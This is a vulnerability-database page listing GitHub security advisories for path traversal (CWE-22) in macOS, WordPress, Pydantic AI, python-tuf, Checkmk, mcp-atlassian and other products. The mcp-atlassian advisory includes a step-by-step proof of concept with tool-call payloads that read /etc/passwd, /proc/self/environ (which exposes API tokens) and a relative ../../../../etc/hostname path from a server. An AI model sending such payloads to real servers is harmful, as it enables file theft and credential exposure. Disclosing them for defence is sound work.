CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13025 vulnerabilities reference this CWE, most recent first.
GHSA-WJMR-4GHF-RH39
Vulnerability from github – Published: 2024-09-17 00:31 – Updated: 2025-11-04 18:31A path handling issue was addressed with improved validation. This issue is fixed in macOS Ventura 13.7, macOS Sonoma 14.7, macOS Sequoia 15. An app may be able to read arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2024-44190"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-17T00:15:52Z",
"severity": "MODERATE"
},
"details": "A path handling issue was addressed with improved validation. This issue is fixed in macOS Ventura 13.7, macOS Sonoma 14.7, macOS Sequoia 15. An app may be able to read arbitrary files.",
"id": "GHSA-wjmr-4ghf-rh39",
"modified": "2025-11-04T18:31:25Z",
"published": "2024-09-17T00:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44190"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121234"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121238"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121247"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/33"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/40"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/41"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WJP2-FCQJ-8W42
Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2025-04-09 03:50Directory traversal vulnerability in wp-db-backup.php in WordPress 2.0.3 and earlier allows remote attackers to read arbitrary files, delete arbitrary files, and cause a denial of service via a .. (dot dot) in the backup parameter in a wp-db-backup.php action to wp-admin/edit.php. NOTE: this might be the same as CVE-2006-5705.1.
{
"affected": [],
"aliases": [
"CVE-2008-0194"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-10T00:46:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in wp-db-backup.php in WordPress 2.0.3 and earlier allows remote attackers to read arbitrary files, delete arbitrary files, and cause a denial of service via a .. (dot dot) in the backup parameter in a wp-db-backup.php action to wp-admin/edit.php. NOTE: this might be the same as CVE-2006-5705.1.",
"id": "GHSA-wjp2-fcqj-8w42",
"modified": "2025-04-09T03:50:09Z",
"published": "2022-05-01T23:28:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0194"
},
{
"type": "WEB",
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2008-January/059439.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29014"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3539"
},
{
"type": "WEB",
"url": "http://securityvulns.ru/Sdocument755.html"
},
{
"type": "WEB",
"url": "http://websecurity.com.ua/1676"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2008/dsa-1502"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/485786/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27123"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WJP5-868J-WQV7
Vulnerability from github – Published: 2026-02-06 18:51 – Updated: 2026-02-06 21:43Summary
A Path Traversal vulnerability in the Pydantic AI web UI allows an attacker to serve arbitrary JavaScript in the context of the application by crafting a malicious URL. If a victim clicks the link or visits it via an iframe, attacker-controlled code executes in their browser, enabling theft of chat history and other client-side data.
This vulnerability only affects applications that use:
- Agent.to_web to serve a chat interface
- clai web to serve a chat interface from the CLI
These are typically run locally (on localhost), but may also be deployed on a remote server.
Description
The web UI serves its frontend HTML by fetching it from a CDN. In affected versions, the CDN URL is constructed using a version query parameter from the request URL. This parameter is not validated, allowing path traversal sequences that cause the server to fetch and serve attacker-controlled HTML/JavaScript from an arbitrary source on the same CDN, instead of the legitimate chat UI package.
Who Is Affected
Projects are affected if your application uses Agent.to_web or clai web to serve the Pydantic AI chat interface.
Attack Scenario
-
An attacker crafts a URL pointing to the victim's Pydantic AI web UI instance (either
localhostwith the known port, or a remote server endpoint) with a maliciousversionquery parameter containing path traversal sequences. -
The attacker gets the victim to visit this URL — directly via a link, through a redirect, or by embedding it in an iframe.
-
When the victim's browser loads the page, the server fetches and serves attacker-controlled HTML/JavaScript instead of the legitimate chat UI.
-
The attacker's JavaScript executes in the victim's browser in the context of the Pydantic AI web application, with access to:
- Chat history stored in
localStorage(all user messages and AI responses) - Session cookies that are not set as
HttpOnly, if authentication middleware is configured
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix removes the user-controllable version parameter entirely. The CDN URL is now hardcoded at startup and cannot be influenced by request parameters.
A new html_source parameter is available on Agent.to_web and create_web_app for applications that need to customize the UI source (e.g., for enterprise environments, offline usage, or custom UI builds). This parameter is only settable in application code, not via query parameters.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "1.34.0"
},
{
"fixed": "1.51.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "1.34.0"
},
{
"fixed": "1.51.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25640"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T18:51:57Z",
"nvd_published_at": "2026-02-06T20:16:11Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Path Traversal vulnerability in the [Pydantic AI web UI](https://ai.pydantic.dev/web/) allows an attacker to serve arbitrary JavaScript in the context of the application by crafting a malicious URL. If a victim clicks the link or visits it via an iframe, attacker-controlled code executes in their browser, enabling theft of chat history and other client-side data.\n\n**This vulnerability only affects applications that use:**\n- **`Agent.to_web`** to serve a chat interface\n- **`clai web`** to serve a chat interface from the CLI\n\nThese are typically run locally (on `localhost`), but may also be deployed on a remote server.\n\n### Description\n\nThe web UI serves its frontend HTML by fetching it from a CDN. In affected versions, the CDN URL is constructed using a `version` query parameter from the request URL. This parameter is not validated, allowing path traversal sequences that cause the server to fetch and serve attacker-controlled HTML/JavaScript from an arbitrary source on the same CDN, instead of the legitimate chat UI package.\n\n### Who Is Affected\n\nProjects are affected if your application uses `Agent.to_web` or `clai web` to serve the Pydantic AI chat interface.\n\n### Attack Scenario\n\n1. An attacker crafts a URL pointing to the victim\u0027s Pydantic AI web UI instance (either `localhost` with the known port, or a remote server endpoint) with a malicious `version` query parameter containing path traversal sequences.\n\n2. The attacker gets the victim to visit this URL \u2014 directly via a link, through a redirect, or by embedding it in an iframe.\n\n3. When the victim\u0027s browser loads the page, the server fetches and serves attacker-controlled HTML/JavaScript instead of the legitimate chat UI.\n\n4. The attacker\u0027s JavaScript executes in the victim\u0027s browser in the context of the Pydantic AI web application, with access to:\n - **Chat history** stored in `localStorage` (all user messages and AI responses)\n - **Session cookies** that are not set as `HttpOnly`, if authentication middleware is configured\n\n## Remediation\n\n### Upgrade to Patched Version\n\n**Upgrade** to the patched version or later. The fix removes the user-controllable `version` parameter entirely. The CDN URL is now hardcoded at startup and cannot be influenced by request parameters.\n\nA new `html_source` parameter is available on `Agent.to_web` and `create_web_app` for applications that need to customize the UI source (e.g., for enterprise environments, offline usage, or custom UI builds). This parameter is only settable in application code, not via query parameters.",
"id": "GHSA-wjp5-868j-wqv7",
"modified": "2026-02-06T21:43:11Z",
"published": "2026-02-06T18:51:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-wjp5-868j-wqv7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25640"
},
{
"type": "PACKAGE",
"url": "https://github.com/pydantic/pydantic-ai"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v1.51.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pydantic AI has Stored XSS via Path Traversal in Web UI CDN URL"
}
GHSA-WJP9-62M9-84F3
Vulnerability from github – Published: 2024-10-05 12:31 – Updated: 2026-04-01 18:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in James Low CSS JS Files allows Path Traversal.This issue affects CSS JS Files: from n/a through 1.5.0.
{
"affected": [],
"aliases": [
"CVE-2024-9146"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-05T11:15:12Z",
"severity": "MODERATE"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in James Low CSS JS Files allows Path Traversal.This issue affects CSS JS Files: from n/a through 1.5.0.",
"id": "GHSA-wjp9-62m9-84f3",
"modified": "2026-04-01T18:31:55Z",
"published": "2024-10-05T12:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9146"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/css-js-files/vulnerability/wordpress-css-js-files-plugin-1-5-0-directory-traversal-to-file-read-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/css-js-files/wordpress-css-js-files-plugin-1-5-0-directory-traversal-to-file-read-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WJPV-FRF2-3R58
Vulnerability from github – Published: 2022-09-28 00:00 – Updated: 2024-04-25 20:40Directory traversal vulnerability in EC-CUBE 3 series (EC-CUBE 3.0.0 to 3.0.18-p4 ) and EC-CUBE 4 series (EC-CUBE 4.0.0 to 4.1.2) allows a remote authenticated attacker with an administrative privilege to obtain the product's directory structure information.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ec-cube/ec-cube"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"last_affected": "3.0.18-p4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "ec-cube/ec-cube"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"last_affected": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-40199"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T20:40:58Z",
"nvd_published_at": "2022-09-27T23:15:00Z",
"severity": "LOW"
},
"details": "Directory traversal vulnerability in EC-CUBE 3 series (EC-CUBE 3.0.0 to 3.0.18-p4 ) and EC-CUBE 4 series (EC-CUBE 4.0.0 to 4.1.2) allows a remote authenticated attacker with an administrative privilege to obtain the product\u0027s directory structure information.",
"id": "GHSA-wjpv-frf2-3r58",
"modified": "2024-04-25T20:40:58Z",
"published": "2022-09-28T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40199"
},
{
"type": "PACKAGE",
"url": "https://github.com/EC-CUBE/ec-cube"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN21213852/index.html"
},
{
"type": "WEB",
"url": "https://www.ec-cube.net/info/weakness/20220909"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "EC-CUBE Directory traversal vulnerability"
}
GHSA-WJW6-2CQR-J4QR
Vulnerability from github – Published: 2021-10-19 20:14 – Updated: 2024-11-18 22:45Impact
In both clients (tuf/client and tuf/ngclient), there is a path traversal vulnerability that in the worst case can overwrite files ending in .json anywhere on the client system on a call to get_one_valid_targetinfo(). It occurs because the rolename is used to form the filename, and may contain path traversal characters (ie ../../name.json).
The impact is mitigated by a few facts: * It only affects implementations that allow arbitrary rolename selection for delegated targets metadata * The attack requires the ability to A) insert new metadata for the path-traversing role and B) get the role delegated by an existing targets metadata * The written file content is heavily restricted since it needs to be a valid, signed targets file. The file extension is always .json.
Patches
A fix is available in version 0.19 or newer.
Workarounds
None that do not require code changes. Clients can restrict the allowed character set for rolenames, or they can store metadata in files named in a way that is not vulnerable: neither of these approaches is possible without modifying python-tuf.
References
For more information
If you have any questions or comments about this advisory: * Open an issue in python-tuf * Contact the maintainers by email or Slack
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tuf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41131"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-19T16:09:34Z",
"nvd_published_at": "2021-10-19T18:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nIn both clients (`tuf/client` and `tuf/ngclient`), there is a path traversal vulnerability that in the worst case can overwrite files ending in `.json` anywhere on the client system on a call to `get_one_valid_targetinfo()`. It occurs because the rolename is used to form the filename, and may contain path traversal characters (ie `../../name.json`).\n\nThe impact is mitigated by a few facts:\n* It only affects implementations that allow arbitrary rolename selection for delegated targets metadata\n* The attack requires the ability to A) insert new metadata for the path-traversing role and B) get the role delegated by an existing targets metadata\n* The written file content is heavily restricted since it needs to be a valid, signed targets file. The file extension is always .json.\n\n### Patches\nA fix is available in version 0.19 or newer.\n\n### Workarounds\nNone that do not require code changes. Clients can restrict the allowed character set for rolenames, or they can store metadata in files named in a way that is not vulnerable: neither of these approaches is possible without modifying python-tuf.\n\n### References\n- [The issue where this was discovered](https://github.com/theupdateframework/python-tuf/issues/1527)\n- [Proof of Concept demonstrating the flaw](https://github.com/jku/path-traversal-poc)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-tuf](https://github.com/theupdateframework/python-tuf/issues)\n* Contact the maintainers by email or Slack\n",
"id": "GHSA-wjw6-2cqr-j4qr",
"modified": "2024-11-18T22:45:45Z",
"published": "2021-10-19T20:14:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/theupdateframework/python-tuf/security/advisories/GHSA-wjw6-2cqr-j4qr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41131"
},
{
"type": "WEB",
"url": "https://github.com/theupdateframework/python-tuf/issues/1527"
},
{
"type": "WEB",
"url": "https://github.com/theupdateframework/python-tuf/commit/4ad7ae48fda594b640139c3b7eae21ed5155a102"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tuf/PYSEC-2021-376.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/theupdateframework/python-tuf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Client metadata path-traversal"
}
GHSA-WM22-3GHP-687P
Vulnerability from github – Published: 2025-10-09 15:31 – Updated: 2025-12-04 21:31Insufficient escaping in the report scheduler within Checkmk <2.4.0p13, <2.3.0p38, <2.2.0p46 and 2.1.0 (EOL) allows authenticated attackers to define the storage location of report file pairs beyond their intended root directory.
{
"affected": [],
"aliases": [
"CVE-2025-39664"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-09T15:16:06Z",
"severity": "HIGH"
},
"details": "Insufficient escaping in the report scheduler within Checkmk \u003c2.4.0p13, \u003c2.3.0p38, \u003c2.2.0p46 and 2.1.0 (EOL) allows authenticated attackers to define the storage location of report file pairs beyond their intended root directory.",
"id": "GHSA-wm22-3ghp-687p",
"modified": "2025-12-04T21:31:01Z",
"published": "2025-10-09T15:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39664"
},
{
"type": "WEB",
"url": "https://checkmk.com/werk/17984"
},
{
"type": "WEB",
"url": "https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250730-01_Checkmk_Path_Traversal"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Oct/7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WM3R-962C-X88V
Vulnerability from github – Published: 2022-05-02 06:21 – Updated: 2022-05-02 06:21Directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-1340"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-09T18:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.",
"id": "GHSA-wm3r-962c-x88v",
"modified": "2022-05-02T06:21:40Z",
"published": "2022-05-02T06:21:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1340"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/57123"
},
{
"type": "WEB",
"url": "http://osvdb.org/63147"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39079"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38917"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WM45-QH3G-V83F
Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34Summary
A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file_path and open() it on the server's filesystem.
The upload tools are meant to attach a file from the caller's environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file content in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)
Details
The upload tools read a client-supplied path directly on the server:
src/mcp_atlassian/confluence/attachments.py—upload_attachment→_upload_attachment_direct→os.path.abspath(file_path)→open(file_path, "rb")src/mcp_atlassian/jira/attachments.py—upload_attachment→os.path.abspath(file_path)→open(file_path, "rb")
os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.
Client-reachable entry points that hit these sinks:
confluence_upload_attachment→ConfluenceFetcher.upload_attachment. Thefile_pathfield is documented as "absolute … or relative to the current working directory."confluence_upload_attachments→ loops over the same sink.jira_update_issue— itsattachmentsparameter (JSON array or comma-separated list of paths) flows throughIssuesMixin.update_issue→self.upload_attachments→ the Jira sink. There is no standalonejira_upload_attachmenttool;jira_update_issueis the only Jira entry point.
PoC
Local reproduction
Extract traversal_upload_attachment_file_read.zip:
# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh # exits 0 on success
Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the
/etc/passwdround-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.
All calls are issued against the HTTP transport with READ_ONLY_MODE=false (the default).
Step 1 — read /etc/passwd from the server via Confluence upload:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
"attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }
Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):
req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Step 3 — same primitive via the Jira entry point (second sink):
req → tools/call jira_update_issue
{ "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }
Step 4 — credential disclosure via /proc/self/environ:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.
(os.path.getsize reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)
Step 5 — relative traversal accepted (no containment):
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.
The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.
Impact
Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables — including the configured JIRA_API_TOKEN / CONFLUENCE_API_TOKEN — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.
The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file_path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.
Credit
Discovered by Francisco Rosales of Manifold Security
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:34:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server\u0027s** filesystem.\n\nThe upload tools are meant to attach a file from the **caller\u0027s** environment \u2014 the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server\u0027s files \u2014 and, in multi-tenant deployments, other tenants\u0027 data \u2014 instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user\u0027s own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)\n\n### Details\n\nThe upload tools read a client-supplied path directly on the server:\n\n- `src/mcp_atlassian/confluence/attachments.py` \u2014 `upload_attachment` \u2192 `_upload_attachment_direct` \u2192 `os.path.abspath(file_path)` \u2192 `open(file_path, \"rb\")`\n- `src/mcp_atlassian/jira/attachments.py` \u2014 `upload_attachment` \u2192 `os.path.abspath(file_path)` \u2192 `open(file_path, \"rb\")`\n\n`os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.\n\nClient-reachable entry points that hit these sinks:\n\n- `confluence_upload_attachment` \u2192 `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as \"absolute \u2026 or relative to the current working directory.\"\n- `confluence_upload_attachments` \u2192 loops over the same sink.\n- `jira_update_issue` \u2014 its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` \u2192 `self.upload_attachments` \u2192 the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point.\n\n### PoC\n\n**Local reproduction**\n\nExtract `traversal_upload_attachment_file_read.zip`:\n```\n# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh\ndocker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false\n./poc.sh # exits 0 on success\n```\n\n\u003e Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.\n\nAll calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default).\n\nStep 1 \u2014 read `/etc/passwd` from the server via Confluence upload:\n```\nreq \u2192 tools/call confluence_upload_attachment\n { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/etc/passwd\" }\n\u2190 { \"message\": \"Attachment uploaded successfully\",\n \"attachment\": { \"success\": true, \"filename\": \"passwd\", \"id\": \"att\u003c...\u003e\" } }\n```\n\nStep 2 \u2014 retrieve the exfiltrated content back through MCP (round-trip proves a real read):\n```\nreq \u2192 tools/call confluence_download_attachment { \"attachment_id\": \"att\u003c...\u003e\" }\n\u2190 base64 resource decoding to:\n root:x:0:0:root:/root:/bin/bash\n daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n ...\n```\n\nStep 3 \u2014 same primitive via the Jira entry point (second sink):\n```\nreq \u2192 tools/call jira_update_issue\n { \"issue_key\": \"\u003cISSUE_KEY\u003e\", \"fields\": \"{}\", \"attachments\": \"/etc/passwd\" }\n\u2190 { \"attachment_results\": { ... \"success\": true ... } }\n```\n\nStep 4 \u2014 credential disclosure via `/proc/self/environ`:\n```\nreq \u2192 tools/call confluence_upload_attachment\n { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/proc/self/environ\" }\n\u2190 success; the resulting \"environ\" attachment contains the server\u0027s env,\n including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.\n```\n(`os.path.getsize` reports 0 for procfs, but the upload transmits the real content \u2014 the attachment shows ~1 kB in the Confluence UI.)\n\nStep 5 \u2014 relative traversal accepted (no containment):\n```\nreq \u2192 tools/call confluence_upload_attachment\n { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"../../../../etc/hostname\" }\n\u2190 success \u2014 relative paths are resolved and read on the server just like absolute ones.\n```\n\nThe uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host.\n\n### Impact\n\nAny client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server\u0027s environment variables \u2014 including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` \u2014 i.e. the server process\u0027s own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.\n\nThe security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client\u0027s. In a single-user `stdio` deployment the path refers to the user\u0027s own machine, so there is no boundary crossing.\n\n### Credit\n\nDiscovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)",
"id": "GHSA-wm45-qh3g-v83f",
"modified": "2026-07-10T19:34:30Z",
"published": "2026-07-10T19:34:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mcp-atlassian: Arbitrary server-side file read via attachment upload"
}
GHSA-WM46-GCHR-6VGG
Vulnerability from github – Published: 2022-05-24 22:29 – Updated: 2022-05-24 22:29The specific function in ASUS BMC’s firmware Web management page (Delete video file function) does not filter the specific parameter. As obtaining the administrator permission, remote attackers can use the means of path traversal to access system files.
{
"affected": [],
"aliases": [
"CVE-2021-28209"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
